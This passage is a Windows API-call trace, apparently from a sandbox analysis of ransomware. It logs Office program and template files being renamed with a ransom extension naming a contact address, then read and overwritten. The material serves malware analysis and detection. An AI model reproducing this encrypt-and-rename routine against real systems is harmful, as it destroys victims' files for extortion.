dwReserved1=0x0, cFileName="WINPROJ.EXE.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WINPRO~3.FIR")) returned 0x6d5000 [0191.541] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0191.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.EXE.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winproj.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x684 [0191.542] GetProcessHeap () returned 0x630000 [0191.542] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x73608f8 [0191.542] GetProcessHeap () returned 0x630000 [0191.542] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x736bd28 [0191.542] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.542] ReadFile (in: hFile=0x684, lpBuffer=0x73608f8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x73608f8*, lpNumberOfBytesRead=0x65fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0195.185] GetProcessHeap () returned 0x630000 [0195.185] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317db0 [0195.186] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.186] WriteFile (in: hFile=0x684, lpBuffer=0x736bd28*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x736bd28*, lpNumberOfBytesWritten=0x65fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0195.305] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.305] WriteFile (in: hFile=0x684, lpBuffer=0x7377127*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7377127*, lpNumberOfBytesWritten=0x65fff0c*=0x20, lpOverlapped=0x0) returned 1 [0195.306] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.306] WriteFile (in: hFile=0x684, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x65fff0c*=0x4, lpOverlapped=0x0) returned 1 [0195.306] CloseHandle (hObject=0x684) returned 1 [0195.306] GetProcessHeap () returned 0x630000 [0195.306] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x736bd28 | out: hHeap=0x630000) returned 1 [0195.306] GetProcessHeap () returned 0x630000 [0195.306] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73608f8 | out: hHeap=0x630000) returned 1 [0195.306] GetProcessHeap () returned 0x630000 [0195.306] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317db0 | out: hHeap=0x630000) returned 1 [0196.303] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0196.303] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.EXE.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffcc4 | out: lpFindFileData=0x65ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3abf78f6, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b1a0d3d, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3a5b329b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1cf686c, dwReserved0=0x9707496, dwReserved1=0x73608f0, cFileName="WINPROJ.EXE.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WINPRO~3.FIR")) returned 0x6d5380 [0196.303] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0196.303] Sleep (dwMilliseconds=0x1) [0196.315] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR7.XLT", len=0x3e | out: pbstr=0x65fff7c*="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR7.XLT") returned 1 [0196.315] GetProcessHeap () returned 0x630000 [0196.315] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x47b8) returned 0x7133a90 [0196.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR7.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr7.xlt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0196.429] CloseHandle (hObject=0x5ec) returned 1 [0196.429] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0196.429] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR7.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr7.xlt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR7.XLT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr7.xlt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0197.013] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0197.013] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR7.XLT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffc6c | out: lpFindFileData=0x65ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b9607ff, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR7.XLT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ADR7XL~1.FIR")) returned 0x6d5000 [0197.013] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0197.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR7.XLT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr7.xlt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0197.014] GetProcessHeap () returned 0x630000 [0197.014] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7c21) returned 0x731cfd8 [0197.015] GetProcessHeap () returned 0x630000 [0197.015] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7c21) returned 0x7324c08 [0197.016] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.016] ReadFile (in: hFile=0x5ec, lpBuffer=0x731cfd8, nNumberOfBytesToRead=0x7c00, lpNumberOfBytesRead=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x731cfd8*, lpNumberOfBytesRead=0x65fff0c*=0x7c00, lpOverlapped=0x0) returned 1 [0201.476] GetProcessHeap () returned 0x630000 [0201.476] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316e60 [0201.476] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.476] WriteFile (in: hFile=0x5ec, lpBuffer=0x7324c08*, nNumberOfBytesToWrite=0x7c00, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7324c08*, lpNumberOfBytesWritten=0x65fff0c*=0x7c00, lpOverlapped=0x0) returned 1 [0201.476] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.477] WriteFile (in: hFile=0x5ec, lpBuffer=0x732c807*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x732c807*, lpNumberOfBytesWritten=0x65fff0c*=0x20, lpOverlapped=0x0) returned 1 [0201.477] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.477] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x65fff0c*=0x4, lpOverlapped=0x0) returned 1 [0201.477] CloseHandle (hObject=0x5ec) returned 1 [0201.477] GetProcessHeap () returned 0x630000 [0201.477] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7324c08 | out: hHeap=0x630000) returned 1 [0201.477] GetProcessHeap () returned 0x630000 [0201.477] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x731cfd8 | out: hHeap=0x630000) returned 1 [0201.477] GetProcessHeap () returned 0x630000 [0201.477] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316e60 | out: hHeap=0x630000) returned 1 [0201.477] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0201.477] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR7.XLT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffcc4 | out: lpFindFileData=0x65ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b9607ff, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3e09144b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x7c24, dwReserved0=0x9707496, dwReserved1=0x731cfd0, cFileName="ADR7.XLT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ADR7XL~1.FIR")) returned 0x6d5580 [0201.477] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0201.477] Sleep (dwMilliseconds=0x1) [0203.067] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\CSISYNCCLIENT.EXE", len=0x6c | out: pbstr=0x65fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\CSISYNCCLIENT.EXE") returned 1 [0203.068] GetProcessHeap () returned 0x630000 [0203.068] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x4be0) returned 0x7133a90 [0203.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\CSISYNCCLIENT.EXE" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\csisyncclient.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0203.572] CloseHandle (hObject=0x5e4) returned 1 [0203.599] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0203.599] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\CSISYNCCLIENT.EXE" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\csisyncclient.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\CSISYNCCLIENT.EXE.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\csisyncclient.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0203.600] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0203.600] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\CSISYNCCLIENT.EXE.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffc6c | out: lpFindFileData=0x65ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5ad675f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5ad675f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5b22c4e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1fc90, dwReserved0=0xcb003df6, dwReserved1=0x74006e, cFileName="CSISYNCCLIENT.EXE.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CSISYN~1.FIR")) returned 0x6d5580 [0203.600] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0203.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\CSISYNCCLIENT.EXE.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\csisyncclient.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0203.600] GetProcessHeap () returned 0x630000 [0203.600] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7333838 [0203.600] GetProcessHeap () returned 0x630000 [0203.601] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x733ec68 [0203.601] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.601] ReadFile (in: hFile=0x5e4, lpBuffer=0x7333838, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7333838*, lpNumberOfBytesRead=0x65fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0211.691] GetProcessHeap () returned 0x630000 [0211.691] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318210 [0211.692] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.692] WriteFile (in: hFile=0x5e4, lpBuffer=0x733ec68*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x733ec68*, lpNumberOfBytesWritten=0x65fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0211.692] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.692] WriteFile (in: hFile=0x5e4, lpBuffer=0x734a067*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x734a067*, lpNumberOfBytesWritten=0x65fff0c*=0x20, lpOverlapped=0x0) returned 1 [0211.692] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.692] WriteFile (in: hFile=0x5e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x65fff0c*=0x4, lpOverlapped=0x0) returned 1 [0211.692] CloseHandle (hObject=0x5e4) returned 1 [0211.692] GetProcessHeap () returned 0x630000 [0211.692] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x733ec68 | out: hHeap=0x630000) returned 1 [0211.692] GetProcessHeap () returned 0x630000 [0211.692] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7333838 | out: hHeap=0x630000) returned 1 [0211.705] GetProcessHeap () returned 0x630000 [0211.705] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318210 | out: hHeap=0x630000) returned 1 [0211.705] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0211.706] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\CSISYNCCLIENT.EXE.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffcc4 | out: lpFindFileData=0x65ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5ad675f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5ad675f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x441fd67c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1fcb4, dwReserved0=0x9707496, dwReserved1=0x7333830, cFileName="CSISYNCCLIENT.EXE.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CSISYN~1.FIR")) returned 0x6d5200 [0211.706] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0211.712] Sleep (dwMilliseconds=0x1) [0213.404] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\MSOHTMED.EXE", len=0x61 | out: pbstr=0x65fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\MSOHTMED.EXE") returned 1 [0213.404] GetProcessHeap () returned 0x630000 [0213.404] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7128660, Size=0x4f34) returned 0x7128660 [0213.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\MSOHTMED.EXE" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\msohtmed.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0213.437] CloseHandle (hObject=0x5ec) returned 1 [0213.437] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0213.438] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\MSOHTMED.EXE" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\msohtmed.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\MSOHTMED.EXE.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\msohtmed.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0213.438] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0213.438] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\MSOHTMED.EXE.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffc6c | out: lpFindFileData=0x65ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3085a99, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13660, dwReserved0=0x6f0070, dwReserved1=0x740072, cFileName="MSOHTMED.EXE.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSOHTM~1.FIR")) returned 0x6d5380 [0213.438] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0213.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\MSOHTMED.EXE.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\msohtmed.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0213.439] GetProcessHeap () returned 0x630000 [0213.439] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x74aaec8 [0213.611] GetProcessHeap () returned 0x630000 [0213.611] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x74ccb58 [0213.612] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.612] ReadFile (in: hFile=0x5ec, lpBuffer=0x74aaec8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aaec8*, lpNumberOfBytesRead=0x65fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0220.213] GetProcessHeap () returned 0x630000 [0220.213] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318210 [0220.213] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.214] WriteFile (in: hFile=0x5ec, lpBuffer=0x74ccb58*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x74ccb58*, lpNumberOfBytesWritten=0x65fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0220.214] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.214] WriteFile (in: hFile=0x5ec, lpBuffer=0x74d7f57*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x74d7f57*, lpNumberOfBytesWritten=0x65fff0c*=0x20, lpOverlapped=0x0) returned 1 [0220.214] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.214] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x65fff0c*=0x4, lpOverlapped=0x0) returned 1 [0220.214] CloseHandle (hObject=0x5ec) returned 1 [0220.215] GetProcessHeap () returned 0x630000 [0220.215] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74ccb58 | out: hHeap=0x630000) returned 1 [0220.215] GetProcessHeap () returned 0x630000 [0220.215] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aaec8 | out: hHeap=0x630000) returned 1 [0220.222] GetProcessHeap () returned 0x630000 [0220.222] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318210 | out: hHeap=0x630000) returned 1 [0220.222] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0220.222] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\MSOHTMED.EXE.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffcc4 | out: lpFindFileData=0x65ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4935b9f8, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x13684, dwReserved0=0x9707496, dwReserved1=0x74aaec0, cFileName="MSOHTMED.EXE.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSOHTM~1.FIR")) returned 0x6d5280 [0220.222] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0220.222] Sleep (dwMilliseconds=0x1) [0221.877] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ja-JP\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x65fff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ja-JP\\toastbeginupgrade.xml") returned 1 [0221.877] GetProcessHeap () returned 0x630000 [0221.877] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50c4) returned 0x6fe3bb0 [0221.877] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ja-JP\\toastbeginupgrade.xml" (normalized: "c:\\program 